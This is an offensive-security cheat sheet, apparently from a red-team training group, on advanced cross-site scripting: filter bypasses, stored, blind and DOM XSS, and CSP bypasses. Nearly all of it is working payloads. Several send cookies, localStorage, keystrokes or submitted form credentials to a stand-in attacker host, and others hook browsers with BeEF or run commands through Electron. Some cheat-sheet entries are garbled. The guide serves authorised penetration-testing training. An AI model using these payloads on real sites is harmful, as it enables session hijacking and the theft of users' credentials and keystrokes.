



◆ OFFENSIVE SECURITY SERIES ◆

ADVANCED XSS

DOM-Based, Stored, Blind XSS & CSP Bypass

DOM XSS · Stored · Blind XSS · CSP Bypass · Cookie Theft · Exfil

DOM XSS

Stored XSS

Blind XSS

CSP Bypass

Cookie Theft

Keylogger

dalfox

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

Advanced XSS — DOM-Based, Stored, Blind XSS & CSP Bypass

01.	REFLECTED XSS — FILTER BYPASS TECHNIQUES
02.	STORED, BLIND & DOM-BASED XSS
03.	CSP BYPASS, KEYLOGGER & ADVANCED PAYLOADS
04.	ADVANCED XSS CHEAT SHEET



01 — REFLECTED XSS

Filter Bypass Techniques

```
Reflected XSS – Filter Bypass

# Basic probes
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
# Event handler injection (no angle brackets needed)
" onmouseover="alert(1)"
autofocus onfocus=alert(1)
# Case variation bypass
<ScRiPt>alert(1)</sCrIpT>
# HTML entity encoding (browser decodes before DOM parsing)
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
# JS URI in href attributes
javascript:alert(document.domain)
# dalfox automated XSS scanner
dalfox url "https://target.com/?q=test"
dalfox url "https://target.com/?q=test" --blind https://attacker.com
```

Figure: SVG onload and event handler bypass script filters — dalfox automates discovery



02 — STORED, BLIND & DOM XSS

Persistence & Admin Session Capture

```
Stored, Blind XSS & DOM-Based XSS

# Stored XSS – confirm then escalate
<img src=x onerror=alert(document.domain)>
# Cookie theft
<script>new Image().src='https://attacker.com/?c='+document.cookie</script>
# localStorage exfil
<script>fetch('https://attacker.com/',{method:'POST',body:JSON.stringify(localStorage)})</script>
# Blind XSS – inject in all user-controlled fields
# username, bio, User-Agent header, Referer, support ticket, order notes
<script src="//xsshunter.YOURNAME.io"></script>
# DOM XSS – hash as source, innerHTML as sink
https://target.com/#<img src=x onerror=alert(1)>
# DOM Invader (Burp) – automated DOM XSS finding
Burp browser > Extension icon > DOM Invader > On > browse target
```

Figure: Blind XSS fires in admin panel — cookies and full page HTML sent to attacker server



03 — CSP BYPASS & ADVANCED PAYLOADS

Keylogger, BeEF & Electron RCE

```
CSP Bypass, Keylogger & BeEF

# CSP analysis
curl -I https://target.com/ | grep -i content-security-policy
# Analyse at: https://csp-evaluator.withgoogle.com/
# Bypass 1: unsafe-inline present – XSS works directly
# Bypass 2: AngularJS CDN in whitelist
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{constructor.constructor("alert(1)")}</div>
# Bypass 3: JSONP endpoint on whitelisted origin
<script src="https://trusted.com/jsonp?callback=alert(1)"></script>
# Keylogger payload
document.addEventListener("keydown",e=>{new Image().src="https://attacker.com/?k="+btoa(e.key)})
# BeEF hook injection
<script src="http://ATTACKER:3000/hook.js"></script>
# Electron RCE (when nodeIntegration=true)
require("child_process").exec("whoami") // inside script tag in Electron app
```

Figure: AngularJS CDN in CSP whitelist — ng-app template injection bypasses CSP



04 — ADVANCED XSS CHEAT SHEET

Complete Quick Reference

Basic probe	<code>[script]alert(document.domain)[/script]</code> OR <code>[img src=x onerror=alert(1)]</code>
No angle brackets	<code>" onmouseover="alert(1)"</code> OR <code>autofocus onfocus=alert(1)</code>
Script blocked	<code>[svg onload=alert(1)]</code> OR <code>[details open ontoggle=alert(1)]</code>
Case bypass	<code>[ScRiPt]alert(1)[/sCrIpT]</code>
Entity bypass	HTML: <code><script></code> Unicode: <code>[script]</code>
JS URI	<code>javascript:alert(document.domain)</code> (in href attribute)
Cookie theft	<code>new Image().src=https://attacker.com/?c+=document.cookie</code>
localStorage exfil	<code>fetch(attacker.com, {method:POST, body:JSON.stringify(localStorage)})</code>
Keylogger	<code>addEventListener(keydown, e => new Image().src=attacker.com/?k+=btoa(e.key))</code>
DOM XSS test	<code>https://target.com/#[img src=x onerror=alert(1)]</code> (hash to innerHTML)
DOM Invader	Burp browser] Extension] DOM Invader] On] browse
Blind XSS payload	<code>[script src=//xsshunter.YOURNAME.io][script]</code>
Blind XSS inject points	username, bio, User-Agent, Referer, support ticket, filename, order notes
CSP check	<code>curl -I https://target.com grep -i content-security-policy</code>
CSP Angular bypass	<code>[script cdnjs/.../angular.min.js][div ng-app]{{constructor.constructor(alert(1))()}}</code>
CSP JSONP bypass	<code>[script src=https://trusted.com/jsonp?callback=alert(1)][script]</code>
dalfox scan	<code>dalfox url https://target.com/?q=test --blind https://attacker.com</code>
dalfox auth scan	<code>dalfox url URL --header Cookie:session=TOKEN</code>
BeEF hook	<code>[script src=http://ATTACKER:3000/hook.js][script]</code> then use BeEF UI
Electron RCE	<code>require(child_process).exec(whoami)</code> when <code>nodeIntegration=true</code>
DNS exfil	<code>new Image().src=http://+btoa(document.cookie)+.attacker.com/</code>
Form hook	<code>document.addEventListener(submit, e => fetch(attacker.com/creds, {method:POST, body:new FormData(e.target)}))</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.